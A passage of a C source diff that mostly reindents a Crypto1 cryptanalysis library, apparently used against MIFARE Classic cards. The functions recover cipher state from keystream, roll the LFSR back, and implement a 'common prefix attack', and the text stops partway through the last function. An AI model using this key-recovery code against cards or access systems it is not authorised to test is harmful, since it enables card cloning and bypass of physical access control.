+static void quicksort(uint32_t *const start, uint32_t *const stop)\r
 {\r
-       uint32_t *it = start + 1, *rit = stop;\r
-\r
-       if(it > rit)\r
-               return;\r
-\r
-       while(it < rit)\r
-               if(*it <= *start)\r
-                       ++it;\r
-               else if(*rit > *start)\r
-                       --rit;\r
-               else\r
-                       *it ^= (*it ^= *rit, *rit ^= *it);\r
-\r
-       if(*rit >= *start)\r
-               --rit;\r
-       if(rit != start)\r
-               *rit ^= (*rit ^= *start, *start ^= *rit);\r
-\r
-       quicksort(start, rit - 1);\r
-       quicksort(rit + 1, stop);\r
+  uint32_t *it = start + 1, *rit = stop;\r
+\r
+  if (it > rit)\r
+    return;\r
+\r
+  while (it < rit)\r
+    if (*it <= *start)\r
+      ++it;\r
+    else if (*rit > *start)\r
+      --rit;\r
+    else\r
+      *it ^= (*it ^= *rit, *rit ^= *it);\r
+\r
+  if (*rit >= *start)\r
+    --rit;\r
+  if (rit != start)\r
+    *rit ^= (*rit ^= *start, *start ^= *rit);\r
+\r
+  quicksort(start, rit - 1);\r
+  quicksort(rit + 1, stop);\r
 }\r
 /** binsearch\r
  * Binary search for the first occurence of *stop's MSB in sorted [start,stop]\r
  */\r
-static inline uint32_t*\r
+static inline uint32_t *\r
 binsearch(uint32_t *start, uint32_t *stop)\r
 {\r
-       uint32_t mid, val = *stop & 0xff000000;\r
-       while(start != stop)\r
-               if(start[mid = (stop - start) >> 1] > val)\r
-                       stop = &start[mid];\r
-               else\r
-                       start += mid + 1;\r
-\r
-       return start;\r
+  uint32_t mid, val = *stop & 0xff000000;\r
+  while (start != stop)\r
+    if (start[mid = (stop - start) >> 1] > val)\r
+      stop = &start[mid];\r
+    else\r
+      start += mid + 1;\r
+\r
+  return start;\r
 }\r
 \r
 /** update_contribution\r
@@ -76,11 +76,11 @@ binsearch(uint32_t *start, uint32_t *stop)
 static inline void\r
 update_contribution(uint32_t *item, const uint32_t mask1, const uint32_t mask2)\r
 {\r
-       uint32_t p = *item >> 25;\r
+  uint32_t p = *item >> 25;\r
 \r
-       p = p << 1 | parity(*item & mask1);\r
-       p = p << 1 | parity(*item & mask2);\r
-       *item = p << 24 | (*item & 0xffffff);\r
+  p = p << 1 | parity(*item & mask1);\r
+  p = p << 1 | parity(*item & mask2);\r
+  *item = p << 24 | (*item & 0xffffff);\r
 }\r
 \r
 /** extend_table\r
@@ -89,21 +89,21 @@ update_contribution(uint32_t *item, const uint32_t mask1, const uint32_t mask2)
 static inline void\r
 extend_table(uint32_t *tbl, uint32_t **end, int bit, int m1, int m2, uint32_t in)\r
 {\r
-       in <<= 24;\r
-       for(*tbl <<= 1; tbl <= *end; *++tbl <<= 1)\r
-               if(filter(*tbl) ^ filter(*tbl | 1)) {\r
-                       *tbl |= filter(*tbl) ^ bit;\r
-                       update_contribution(tbl, m1, m2);\r
-                       *tbl ^= in;\r
-               } else if(filter(*tbl) == bit) {\r
-                       *++*end = tbl[1];\r
-                       tbl[1] = tbl[0] | 1;\r
-                       update_contribution(tbl, m1, m2);\r
-                       *tbl++ ^= in;\r
-                       update_contribution(tbl, m1, m2);\r
-                       *tbl ^= in;\r
-               } else\r
-                       *tbl-- = *(*end)--;\r
+  in <<= 24;\r
+  for (*tbl <<= 1; tbl <= *end; *++tbl <<= 1)\r
+    if (filter(*tbl) ^ filter(*tbl | 1)) {\r
+      *tbl |= filter(*tbl) ^ bit;\r
+      update_contribution(tbl, m1, m2);\r
+      *tbl ^= in;\r
+    } else if (filter(*tbl) == bit) {\r
+      *++*end = tbl[1];\r
+      tbl[1] = tbl[0] | 1;\r
+      update_contribution(tbl, m1, m2);\r
+      *tbl++ ^= in;\r
+      update_contribution(tbl, m1, m2);\r
+      *tbl ^= in;\r
+    } else\r
+      *tbl-- = *(*end)--;\r
 }\r
 /** extend_table_simple\r
  * using a bit of the keystream extend the table of possible lfsr states\r
@@ -111,201 +111,202 @@ extend_table(uint32_t *tbl, uint32_t **end, int bit, int m1, int m2, uint32_t in
 static inline void\r
 extend_table_simple(uint32_t *tbl, uint32_t **end, int bit)\r
 {\r
-       for(*tbl <<= 1; tbl <= *end; *++tbl <<= 1)\r
-               if(filter(*tbl) ^ filter(*tbl | 1)) {\r
-                       *tbl |= filter(*tbl) ^ bit;\r
-               } else if(filter(*tbl) == bit) {\r
-                       *++*end = *++tbl;\r
-                       *tbl = tbl[-1] | 1;\r
-               } else\r
-                       *tbl-- = *(*end)--;\r
+  for (*tbl <<= 1; tbl <= *end; *++tbl <<= 1)\r
+    if (filter(*tbl) ^ filter(*tbl | 1)) {\r
+      *tbl |= filter(*tbl) ^ bit;\r
+    } else if (filter(*tbl) == bit) {\r
+      *++*end = *++tbl;\r
+      *tbl = tbl[-1] | 1;\r
+    } else\r
+      *tbl-- = *(*end)--;\r
 }\r
 /** recover\r
  * recursively narrow down the search space, 4 bits of keystream at a time\r
  */\r
-static struct Crypto1State*\r
+static struct Crypto1State *\r
 recover(uint32_t *o_head, uint32_t *o_tail, uint32_t oks,\r
-       uint32_t *e_head, uint32_t *e_tail, uint32_t eks, int rem,\r
-       struct Crypto1State *sl, uint32_t in)\r
-{\r
-       uint32_t *o, *e, i;\r
-\r
-       if(rem == -1) {\r
-               for(e = e_head; e <= e_tail; ++e) {\r
-                       *e = *e << 1 ^ parity(*e & LF_POLY_EVEN) ^ !!(in & 4);\r
-                       for(o = o_head; o <= o_tail; ++o, ++sl) {\r
-                               sl->even = *o;\r
-                               sl->odd = *e ^ parity(*o & LF_POLY_ODD);\r
-                               sl[1].odd = sl[1].even = 0;\r
-                       }\r
-               }\r
-               return sl;\r
-       }\r
-\r
-       for(i = 0; i < 4 && rem--; i++) {\r
-               extend_table(o_head, &o_tail, (oks >>= 1) & 1,\r
-                       LF_POLY_EVEN << 1 | 1, LF_POLY_ODD << 1, 0);\r
-               if(o_head > o_tail)\r
-                       return sl;\r
-\r
-               extend_table(e_head, &e_tail, (eks >>= 1) & 1,\r
-                       LF_POLY_ODD, LF_POLY_EVEN << 1 | 1, (in >>= 2) & 3);\r
-               if(e_head > e_tail)\r
-                       return sl;\r
-       }\r
-\r
-       quicksort(o_head, o_tail);\r
-       quicksort(e_head, e_tail);\r
-\r
-       while(o_tail >= o_head && e_tail >= e_head)\r
-               if(((*o_tail ^ *e_tail) >> 24) == 0) {\r
-                       o_tail = binsearch(o_head, o = o_tail);\r
-                       e_tail = binsearch(e_head, e = e_tail);\r
-                       sl = recover(o_tail--, o, oks,\r
-                                    e_tail--, e, eks, rem, sl, in);\r
-               }\r
-               else if(*o_tail > *e_tail)\r
-                       o_tail = binsearch(o_head, o_tail) - 1;\r
-               else\r
-                       e_tail = binsearch(e_head, e_tail) - 1;\r
-\r
-       return sl;\r
+        uint32_t *e_head, uint32_t *e_tail, uint32_t eks, int rem,\r
+        struct Crypto1State *sl, uint32_t in) {\r
+  uint32_t *o, *e, i;\r
+\r
+  if (rem == -1) {\r
+    for (e = e_head; e <= e_tail; ++e) {\r
+      *e = *e << 1 ^ parity(*e & LF_POLY_EVEN) ^ !!(in & 4);\r
+      for (o = o_head; o <= o_tail; ++o, ++sl) {\r
+        sl->even = *o;\r
+        sl->odd = *e ^ parity(*o & LF_POLY_ODD);\r
+        sl[1].odd = sl[1].even = 0;\r
+      }\r
+    }\r
+    return sl;\r
+  }\r
+\r
+  for (i = 0; i < 4 && rem--; i++) {\r
+    extend_table(o_head, &o_tail, (oks >>= 1) & 1,\r
+                 LF_POLY_EVEN << 1 | 1, LF_POLY_ODD << 1, 0);\r
+    if (o_head > o_tail)\r
+      return sl;\r
+\r
+    extend_table(e_head, &e_tail, (eks >>= 1) & 1,\r
+                 LF_POLY_ODD, LF_POLY_EVEN << 1 | 1, (in >>= 2) & 3);\r
+    if (e_head > e_tail)\r
+      return sl;\r
+  }\r
+\r
+  quicksort(o_head, o_tail);\r
+  quicksort(e_head, e_tail);\r
+\r
+  while (o_tail >= o_head && e_tail >= e_head)\r
+    if (((*o_tail ^ *e_tail) >> 24) == 0) {\r
+      o_tail = binsearch(o_head, o = o_tail);\r
+      e_tail = binsearch(e_head, e = e_tail);\r
+      sl = recover(o_tail--, o, oks,\r
+                   e_tail--, e, eks, rem, sl, in);\r
+    } else if (*o_tail > *e_tail)\r
+      o_tail = binsearch(o_head, o_tail) - 1;\r
+    else\r
+      e_tail = binsearch(e_head, e_tail) - 1;\r
+\r
+  return sl;\r
 }\r
 /** lfsr_recovery\r
  * recover the state of the lfsr given 32 bits of the keystream\r
  * additionally you can use the in parameter to specify the value\r
  * that was fed into the lfsr at the time the keystream was generated\r
  */\r
-struct Crypto1State* lfsr_recovery32(uint32_t ks2, uint32_t in)\r
-{\r
-       struct Crypto1State *statelist;\r
-       uint32_t *odd_head = 0, *odd_tail = 0, oks = 0;\r
-       uint32_t *even_head = 0, *even_tail = 0, eks = 0;\r
-       int i;\r
-\r
-       for(i = 31; i >= 0; i -= 2)\r
-               oks = oks << 1 | BEBIT(ks2, i);\r
-       for(i = 30; i >= 0; i -= 2)\r
-               eks = eks << 1 | BEBIT(ks2, i);\r
-\r
-       odd_head = odd_tail = malloc(sizeof(uint32_t) << 21);\r
-       even_head = even_tail = malloc(sizeof(uint32_t) << 21);\r
-       statelist =  malloc(sizeof(struct Crypto1State) << 18);\r
-       if(!odd_tail-- || !even_tail-- || !statelist)\r
-               goto out;\r
-\r
-       statelist->odd = statelist->even = 0;\r
-\r
-       for(i = 1 << 20; i >= 0; --i) {\r
-               if(filter(i) == (oks & 1))\r
-                       *++odd_tail = i;\r
-               if(filter(i) == (eks & 1))\r
-                       *++even_tail = i;\r
-       }\r
-\r
-       for(i = 0; i < 4; i++) {\r
-               extend_table_simple(odd_head,  &odd_tail, (oks >>= 1) & 1);\r
-               extend_table_simple(even_head, &even_tail, (eks >>= 1) & 1);\r
-       }\r
-\r
-       in = (in >> 16 & 0xff) | (in << 16) | (in & 0xff00);\r
-       recover(odd_head, odd_tail, oks,\r
-               even_head, even_tail, eks, 11, statelist, in << 1);\r
+struct Crypto1State *lfsr_recovery32(uint32_t ks2, uint32_t in) {\r
+  struct Crypto1State *statelist;\r
+  uint32_t *odd_head = 0, *odd_tail = 0, oks = 0;\r
+  uint32_t *even_head = 0, *even_tail = 0, eks = 0;\r
+  int i;\r
+\r
+  for (i = 31; i >= 0; i -= 2)\r
+    oks = oks << 1 | BEBIT(ks2, i);\r
+  for (i = 30; i >= 0; i -= 2)\r
+    eks = eks << 1 | BEBIT(ks2, i);\r
+\r
+  odd_head = odd_tail = malloc(sizeof(uint32_t) << 21);\r
+  even_head = even_tail = malloc(sizeof(uint32_t) << 21);\r
+  statelist =  malloc(sizeof(struct Crypto1State) << 18);\r
+  if (!odd_tail-- || !even_tail-- || !statelist)\r
+    goto out;\r
+\r
+  statelist->odd = statelist->even = 0;\r
+\r
+  for (i = 1 << 20; i >= 0; --i) {\r
+    if (filter(i) == (oks & 1))\r
+      *++odd_tail = i;\r
+    if (filter(i) == (eks & 1))\r
+      *++even_tail = i;\r
+  }\r
+\r
+  for (i = 0; i < 4; i++) {\r
+    extend_table_simple(odd_head,  &odd_tail, (oks >>= 1) & 1);\r
+    extend_table_simple(even_head, &even_tail, (eks >>= 1) & 1);\r
+  }\r
+\r
+  in = (in >> 16 & 0xff) | (in << 16) | (in & 0xff00);\r
+  recover(odd_head, odd_tail, oks,\r
+          even_head, even_tail, eks, 11, statelist, in << 1);\r
 \r
 out:\r
-       free(odd_head);\r
-       free(even_head);\r
-       return statelist;\r
+  free(odd_head);\r
+  free(even_head);\r
+  return statelist;\r
 }\r
 \r
 static const uint32_t S1[] = {     0x62141, 0x310A0, 0x18850, 0x0C428, 0x06214,\r
-       0x0310A, 0x85E30, 0xC69AD, 0x634D6, 0xB5CDE, 0xDE8DA, 0x6F46D, 0xB3C83,\r
-       0x59E41, 0xA8995, 0xD027F, 0x6813F, 0x3409F, 0x9E6FA};\r
+                                   0x0310A, 0x85E30, 0xC69AD, 0x634D6, 0xB5CDE, 0xDE8DA, 0x6F46D, 0xB3C83,\r
+                                   0x59E41, 0xA8995, 0xD027F, 0x6813F, 0x3409F, 0x9E6FA\r
+                             };\r
 static const uint32_t S2[] = {  0x3A557B00, 0x5D2ABD80, 0x2E955EC0, 0x174AAF60,\r
-       0x0BA557B0, 0x05D2ABD8, 0x0449DE68, 0x048464B0, 0x42423258, 0x278192A8,\r
-       0x156042D0, 0x0AB02168, 0x43F89B30, 0x61FC4D98, 0x765EAD48, 0x7D8FDD20,\r
-       0x7EC7EE90, 0x7F63F748, 0x79117020};\r
+                                0x0BA557B0, 0x05D2ABD8, 0x0449DE68, 0x048464B0, 0x42423258, 0x278192A8,\r
+                                0x156042D0, 0x0AB02168, 0x43F89B30, 0x61FC4D98, 0x765EAD48, 0x7D8FDD20,\r
+                                0x7EC7EE90, 0x7F63F748, 0x79117020\r
+                             };\r
 static const uint32_t T1[] = {\r
-       0x4F37D, 0x279BE, 0x97A6A, 0x4BD35, 0x25E9A, 0x12F4D, 0x097A6, 0x80D66,\r
-       0xC4006, 0x62003, 0xB56B4, 0x5AB5A, 0xA9318, 0xD0F39, 0x6879C, 0xB057B,\r
-       0x582BD, 0x2C15E, 0x160AF, 0x8F6E2, 0xC3DC4, 0xE5857, 0x72C2B, 0x39615,\r
-       0x98DBF, 0xC806A, 0xE0680, 0x70340, 0x381A0, 0x98665, 0x4C332, 0xA272C};\r
+  0x4F37D, 0x279BE, 0x97A6A, 0x4BD35, 0x25E9A, 0x12F4D, 0x097A6, 0x80D66,\r
+  0xC4006, 0x62003, 0xB56B4, 0x5AB5A, 0xA9318, 0xD0F39, 0x6879C, 0xB057B,\r
+  0x582BD, 0x2C15E, 0x160AF, 0x8F6E2, 0xC3DC4, 0xE5857, 0x72C2B, 0x39615,\r
+  0x98DBF, 0xC806A, 0xE0680, 0x70340, 0x381A0, 0x98665, 0x4C332, 0xA272C\r
+};\r
 static const uint32_t T2[] = {  0x3C88B810, 0x5E445C08, 0x2982A580, 0x14C152C0,\r
-       0x4A60A960, 0x253054B0, 0x52982A58, 0x2FEC9EA8, 0x1156C4D0, 0x08AB6268,\r
-       0x42F53AB0, 0x217A9D58, 0x161DC528, 0x0DAE6910, 0x46D73488, 0x25CB11C0,\r
-       0x52E588E0, 0x6972C470, 0x34B96238, 0x5CFC3A98, 0x28DE96C8, 0x12CFC0E0,\r
-       0x4967E070, 0x64B3F038, 0x74F97398, 0x7CDC3248, 0x38CE92A0, 0x1C674950,\r
-       0x0E33A4A8, 0x01B959D0, 0x40DCACE8, 0x26CEDDF0};\r
+                                0x4A60A960, 0x253054B0, 0x52982A58, 0x2FEC9EA8, 0x1156C4D0, 0x08AB6268,\r
+                                0x42F53AB0, 0x217A9D58, 0x161DC528, 0x0DAE6910, 0x46D73488, 0x25CB11C0,\r
+                                0x52E588E0, 0x6972C470, 0x34B96238, 0x5CFC3A98, 0x28DE96C8, 0x12CFC0E0,\r
+                                0x4967E070, 0x64B3F038, 0x74F97398, 0x7CDC3248, 0x38CE92A0, 0x1C674950,\r
+                                0x0E33A4A8, 0x01B959D0, 0x40DCACE8, 0x26CEDDF0\r
+                             };\r
 static const uint32_t C1[] = { 0x846B5, 0x4235A, 0x211AD};\r
 static const uint32_t C2[] = { 0x1A822E0, 0x21A822E0, 0x21A822E0};\r
 /** Reverse 64 bits of keystream into possible cipher states\r
  * Variation mentioned in the paper. Somewhat optimized version\r
  */\r
-struct Crypto1State* lfsr_recovery64(uint32_t ks2, uint32_t ks3)\r
-{\r
-       struct Crypto1State *statelist, *sl;\r
-       uint8_t oks[32], eks[32], hi[32];\r
-       uint32_t low = 0,  win = 0;\r
-       uint32_t *tail, table[1 << 16];\r
-       int i, j;\r
-\r
-       sl = statelist = malloc(sizeof(struct Crypto1State) << 4);\r
-       if(!sl)\r
-               return 0;\r
-       sl->odd = sl->even = 0;\r
-\r
-       for(i = 30; i >= 0; i -= 2) {\r
-               oks[i >> 1] = BIT(ks2, i ^ 24);\r
-               oks[16 + (i >> 1)] = BIT(ks3, i ^ 24);\r
-       }\r
-       for(i = 31; i >= 0; i -= 2) {\r
-               eks[i >> 1] = BIT(ks2, i ^ 24);\r
-               eks[16 + (i >> 1)] = BIT(ks3, i ^ 24);\r
-       }\r
-\r
-       for(i = 0xfffff; i >= 0; --i) {\r
-               if (filter(i) != oks[0])\r
-                       continue;\r
-\r
-               *(tail = table) = i;\r
-               for(j = 1; tail >= table && j < 29; ++j)\r
-                       extend_table_simple(table, &tail, oks[j]);\r
-\r
-               if(tail < table)\r
-                       continue;\r
-\r
-               for(j = 0; j < 19; ++j)\r
-                       low = low << 1 | parity(i & S1[j]);\r
-               for(j = 0; j < 32; ++j)\r
-                       hi[j] = parity(i & T1[j]);\r
-\r
-               for(; tail >= table; --tail) {\r
-                       for(j = 0; j < 3; ++j) {\r
-                               *tail = *tail << 1;\r
-                               *tail |= parity((i & C1[j]) ^ (*tail & C2[j]));\r
-                               if(filter(*tail) != oks[29 + j])\r
-                                       goto continue2;\r
-                       }\r
-\r
-                       for(j = 0; j < 19; ++j)\r
-                               win = win << 1 | parity(*tail & S2[j]);\r
-\r
-                       win ^= low;\r
-                       for(j = 0; j < 32; ++j) {\r
-                               win = win << 1 ^ hi[j] ^ parity(*tail & T2[j]);\r
-                               if(filter(win) != eks[j])\r
-                                       goto continue2;\r
-                       }\r
-\r
-                       *tail = *tail << 1 | parity(LF_POLY_EVEN & *tail);\r
-                       sl->odd = *tail ^ parity(LF_POLY_ODD & win);\r
-                       sl->even = win;\r
-                       ++sl;\r
-                       sl->odd = sl->even = 0;\r
-                       continue2:;\r
-               }\r
-       }\r
-       return statelist;\r
+struct Crypto1State *lfsr_recovery64(uint32_t ks2, uint32_t ks3) {\r
+  struct Crypto1State *statelist, *sl;\r
+  uint8_t oks[32], eks[32], hi[32];\r
+  uint32_t low = 0,  win = 0;\r
+  uint32_t *tail, table[1 << 16];\r
+  int i, j;\r
+\r
+  sl = statelist = malloc(sizeof(struct Crypto1State) << 4);\r
+  if (!sl)\r
+    return 0;\r
+  sl->odd = sl->even = 0;\r
+\r
+  for (i = 30; i >= 0; i -= 2) {\r
+    oks[i >> 1] = BIT(ks2, i ^ 24);\r
+    oks[16 + (i >> 1)] = BIT(ks3, i ^ 24);\r
+  }\r
+  for (i = 31; i >= 0; i -= 2) {\r
+    eks[i >> 1] = BIT(ks2, i ^ 24);\r
+    eks[16 + (i >> 1)] = BIT(ks3, i ^ 24);\r
+  }\r
+\r
+  for (i = 0xfffff; i >= 0; --i) {\r
+    if (filter(i) != oks[0])\r
+      continue;\r
+\r
+    *(tail = table) = i;\r
+    for (j = 1; tail >= table && j < 29; ++j)\r
+      extend_table_simple(table, &tail, oks[j]);\r
+\r
+    if (tail < table)\r
+      continue;\r
+\r
+    for (j = 0; j < 19; ++j)\r
+      low = low << 1 | parity(i & S1[j]);\r
+    for (j = 0; j < 32; ++j)\r
+      hi[j] = parity(i & T1[j]);\r
+\r
+    for (; tail >= table; --tail) {\r
+      for (j = 0; j < 3; ++j) {\r
+        *tail = *tail << 1;\r
+        *tail |= parity((i & C1[j]) ^(*tail & C2[j]));\r
+        if (filter(*tail) != oks[29 + j])\r
+          goto continue2;\r
+      }\r
+\r
+      for (j = 0; j < 19; ++j)\r
+        win = win << 1 | parity(*tail & S2[j]);\r
+\r
+      win ^= low;\r
+      for (j = 0; j < 32; ++j) {\r
+        win = win << 1 ^ hi[j] ^ parity(*tail & T2[j]);\r
+        if (filter(win) != eks[j])\r
+          goto continue2;\r
+      }\r
+\r
+      *tail = *tail << 1 | parity(LF_POLY_EVEN & *tail);\r
+      sl->odd = *tail ^ parity(LF_POLY_ODD & win);\r
+      sl->even = win;\r
+      ++sl;\r
+      sl->odd = sl->even = 0;\r
+continue2:\r
+      ;\r
+    }\r
+  }\r
+  return statelist;\r
 }\r
 \r
 uint8_t lfsr_rollback_bit(struct Crypto1State *s, uint32_t in, int fb);\r
@@ -318,42 +319,42 @@ uint32_t *lfsr_prefix_ks(uint8_t ks[8], int isodd);
  */\r
 uint8_t lfsr_rollback_bit(struct Crypto1State *s, uint32_t in, int fb)\r
 {\r
-       int out;\r
-       uint8_t ret;\r
+  int out;\r
+  uint8_t ret;\r
 \r
-       s->odd &= 0xffffff;\r
-       s->odd ^= (s->odd ^= s->even, s->even ^= s->odd);\r
+  s->odd &= 0xffffff;\r
+  s->odd ^= (s->odd ^= s->even, s->even ^= s->odd);\r
 \r
-       out = s->even & 1;\r
-       out ^= LF_POLY_EVEN & (s->even >>= 1);\r
-       out ^= LF_POLY_ODD & s->odd;\r
-       out ^= !!in;\r
-       out ^= (ret = filter(s->odd)) & !!fb;\r
+  out = s->even & 1;\r
+  out ^= LF_POLY_EVEN & (s->even >>= 1);\r
+  out ^= LF_POLY_ODD & s->odd;\r
+  out ^= !!in;\r
+  out ^= (ret = filter(s->odd)) & !!fb;\r
 \r
-       s->even |= parity(out) << 23;\r
-       return ret;\r
+  s->even |= parity(out) << 23;\r
+  return ret;\r
 }\r
 /** lfsr_rollback_byte\r
  * Rollback the shift register in order to get previous states\r
  */\r
 uint8_t lfsr_rollback_byte(struct Crypto1State *s, uint32_t in, int fb)\r
 {\r
-       int i;\r
-       uint8_t ret = 0;\r
-       for (i = 7; i >= 0; --i)\r
-               ret |= lfsr_rollback_bit(s, BIT(in, i), fb) << i;\r
-       return ret;\r
+  int i;\r
+  uint8_t ret = 0;\r
+  for (i = 7; i >= 0; --i)\r
+    ret |= lfsr_rollback_bit(s, BIT(in, i), fb) << i;\r
+  return ret;\r
 }\r
 /** lfsr_rollback_word\r
  * Rollback the shift register in order to get previous states\r
  */\r
 uint32_t lfsr_rollback_word(struct Crypto1State *s, uint32_t in, int fb)\r
 {\r
-       int i;\r
-       uint32_t ret = 0;\r
-       for (i = 31; i >= 0; --i)\r
-               ret |= lfsr_rollback_bit(s, BEBIT(in, i), fb) << (i ^ 24);\r
-       return ret;\r
+  int i;\r
+  uint32_t ret = 0;\r
+  for (i = 31; i >= 0; --i)\r
+    ret |= lfsr_rollback_bit(s, BEBIT(in, i), fb) << (i ^ 24);\r
+  return ret;\r
 }\r
 \r
 /** nonce_distance\r
@@ -362,23 +363,24 @@ uint32_t lfsr_rollback_word(struct Crypto1State *s, uint32_t in, int fb)
 static uint16_t *dist = 0;\r
 int nonce_distance(uint32_t from, uint32_t to)\r
 {\r
-       uint16_t x, i;\r
-       if(!dist) {\r
-               dist = malloc(2 << 16);\r
-               if(!dist)\r
-                       return -1;\r
-               for (x = i = 1; i; ++i) {\r
-                       dist[(x & 0xff) << 8 | x >> 8] = i;\r
-                       x = x >> 1 | (x ^ x >> 2 ^ x >> 3 ^ x >> 5) << 15;\r
-               }\r
-       }\r
-       return (65535 + dist[to >> 16] - dist[from >> 16]) % 65535;\r
+  uint16_t x, i;\r
+  if (!dist) {\r
+    dist = malloc(2 << 16);\r
+    if (!dist)\r
+      return -1;\r
+    for (x = i = 1; i; ++i) {\r
+      dist[(x & 0xff) << 8 | x >> 8] = i;\r
+      x = x >> 1 | (x ^ x >> 2 ^ x >> 3 ^ x >> 5) << 15;\r
+    }\r
+  }\r
+  return (65535 + dist[to >> 16] - dist[from >> 16]) % 65535;\r
 }\r
 \r
 \r
 static uint32_t fastfwd[2][8] = {\r
-       { 0, 0x4BC53, 0xECB1, 0x450E2, 0x25E29, 0x6E27A, 0x2B298, 0x60ECB},\r
-       { 0, 0x1D962, 0x4BC53, 0x56531, 0xECB1, 0x135D3, 0x450E2, 0x58980}};\r
+  { 0, 0x4BC53, 0xECB1, 0x450E2, 0x25E29, 0x6E27A, 0x2B298, 0x60ECB},\r
+  { 0, 0x1D962, 0x4BC53, 0x56531, 0xECB1, 0x135D3, 0x450E2, 0x58980}\r
+};\r
 \r
 \r
 /** lfsr_prefix_ks\r
@@ -392,64 +394,63 @@ static uint32_t fastfwd[2][8] = {
  */\r
 uint32_t *lfsr_prefix_ks(uint8_t ks[8], int isodd)\r
 {\r
-       uint32_t c, entry, *candidates = malloc(4 << 21);\r
-       int i, size = (1 << 21) - 1;\r
+  uint32_t c, entry, *candidates = malloc(4 << 21);\r
+  int i, size = (1 << 21) - 1;\r
 \r
-       if(!candidates)\r
-               return 0;\r
+  if (!candidates)\r
+    return 0;\r
 \r
-       for(i = 0; i <= size; ++i)\r
-               candidates[i] = i;\r
+  for (i = 0; i <= size; ++i)\r
+    candidates[i] = i;\r
 \r
-       for(c = 0;  c < 8; ++c)\r
-               for(i = 0;i <= size; ++i) {\r
-                       entry = candidates[i] ^ fastfwd[isodd][c];\r
+  for (c = 0;  c < 8; ++c)\r
+    for (i = 0; i <= size; ++i) {\r
+      entry = candidates[i] ^ fastfwd[isodd][c];\r
 \r
-                       if(filter(entry >> 1) != BIT(ks[c], isodd) ||\r
-                          filter(entry) != BIT(ks[c], isodd + 2))\r
-                               candidates[i--] = candidates[size--];\r
-               }\r
+      if (filter(entry >> 1) != BIT(ks[c], isodd) ||\r
+          filter(entry) != BIT(ks[c], isodd + 2))\r
+        candidates[i--] = candidates[size--];\r
+    }\r
 \r
-       candidates[size + 1] = -1;\r
+  candidates[size + 1] = -1;\r
 \r
-       return candidates;\r
+  return candidates;\r
 }\r
 \r
 /** check_pfx_parity\r
  * helper function which eliminates possible secret states using parity bits\r
  */\r
-static struct Crypto1State*\r
+static struct Crypto1State *\r
 check_pfx_parity(uint32_t prefix, uint32_t rresp, uint8_t parities[8][8],\r
-               uint32_t odd, uint32_t even, struct Crypto1State* sl)\r
-{\r
-       uint32_t ks1, nr, ks2, rr, ks3, c, good = 1;\r
+                 uint32_t odd, uint32_t even, struct Crypto1State *sl) {\r
+  uint32_t ks1, nr, ks2, rr, ks3, c, good = 1;\r
 \r
-       for(c = 0; good && c < 8; ++c) {\r
-               sl->odd = odd ^ fastfwd[1][c];\r
-               sl->even = even ^ fastfwd[0][c];\r
+  for (c = 0; good && c < 8; ++c) {\r
+    sl->odd = odd ^ fastfwd[1][c];\r
+    sl->even = even ^ fastfwd[0][c];\r
 \r
-               lfsr_rollback_bit(sl, 0, 0);\r
-               lfsr_rollback_bit(sl, 0, 0);\r
+    lfsr_rollback_bit(sl, 0, 0);\r
+    lfsr_rollback_bit(sl, 0, 0);\r
 \r
-               ks3 = lfsr_rollback_bit(sl, 0, 0);\r
-               ks2 = lfsr_rollback_word(sl, 0, 0);\r
-               ks1 = lfsr_rollback_word(sl, prefix | c << 5, 1);\r
+    ks3 = lfsr_rollback_bit(sl, 0, 0);\r
+    ks2 = lfsr_rollback_word(sl, 0, 0);\r
+    ks1 = lfsr_rollback_word(sl, prefix | c << 5, 1);\r
 \r
-               nr = ks1 ^ (prefix | c << 5);\r
-               rr = ks2 ^ rresp;\r
+    nr = ks1 ^(prefix | c << 5);\r
+    rr = ks2 ^ rresp;\r
 \r
-               good &= parity(nr & 0x000000ff) ^ parities[c][3] ^ BIT(ks2, 24);\r
-               good &= parity(rr & 0xff000000) ^ parities[c][4] ^ BIT(ks2, 16);\r
-               good &= parity(rr & 0x00ff0000) ^ parities[c][5] ^ BIT(ks2,  8);\r
-               good &= parity(rr & 0x0000ff00) ^ parities[c][6] ^ BIT(ks2,  0);\r
-               good &= parity(rr & 0x000000ff) ^ parities[c][7] ^ ks3;\r
-       }\r
+    good &= parity(nr & 0x000000ff) ^ parities[c][3] ^ BIT(ks2, 24);\r
+    good &= parity(rr & 0xff000000) ^ parities[c][4] ^ BIT(ks2, 16);\r
+    good &= parity(rr & 0x00ff0000) ^ parities[c][5] ^ BIT(ks2,  8);\r
+    good &= parity(rr & 0x0000ff00) ^ parities[c][6] ^ BIT(ks2,  0);\r
+    good &= parity(rr & 0x000000ff) ^ parities[c][7] ^ ks3;\r
+  }\r
 \r
-       return sl + good;\r
-} \r
+  return sl + good;\r
+}\r
 \r
 \r
-struct Crypto1Statelfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8]);\r
+struct Crypto1State *lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8]);\r
 \r
 /** lfsr_common_prefix\r
  * Implentation of the common prefix attack.\r
@@ -460,35 +461,34 @@ struct Crypto1State* lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8]
  * It returns a zero terminated list of possible cipher states after the\r
  * tag nonce was fed in\r
  */\r
-struct Crypto1State*\r
-lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8])\r
-{\r
-       struct Crypto1State *statelist, *s;\r
-       uint32_t *odd, *even, *o, *e, top;\r
-\r
-       odd = lfsr_prefix_ks(ks, 1);\r
-       even = lfsr_prefix_ks(ks, 0);\r
-\r
-       s = statelist = malloc((sizeof *statelist) << 20);\r
-       if(!s || !odd || !even) {\r
-               free(odd);\r
-               free(even);\r
-               free(statelist);\r
-                return 0;\r
-       }\r
-\r
-       for(o = odd; *o + 1; ++o)\r
-               for(e = even; *e + 1; ++e)\r
-                       for(top = 0; top < 64; ++top) {\r
-                               *o += 1 << 21;\r
-                               *e += (!(top & 7) + 1) << 21;\r
-                               s = check_pfx_parity(pfx, rr, par, *o, *e, s);\r
-                       }\r
-\r
-       s->odd = s->even = 0;\r
-\r
-       free(odd);\r
-       free(even);\r
-\r
-       return statelist;\r
+struct Crypto1State *\r
+lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8]) {\r
+  struct Crypto1State *statelist, *s;\r
+  uint32_t *odd, *even, *o, *e, top;\r
+\r
+  odd = lfsr_prefix_ks(ks, 1);\r
+  even = lfsr_prefix_ks(ks, 0);\r
+\r
+  s = statelist = malloc((sizeof *statelist) << 20);\r
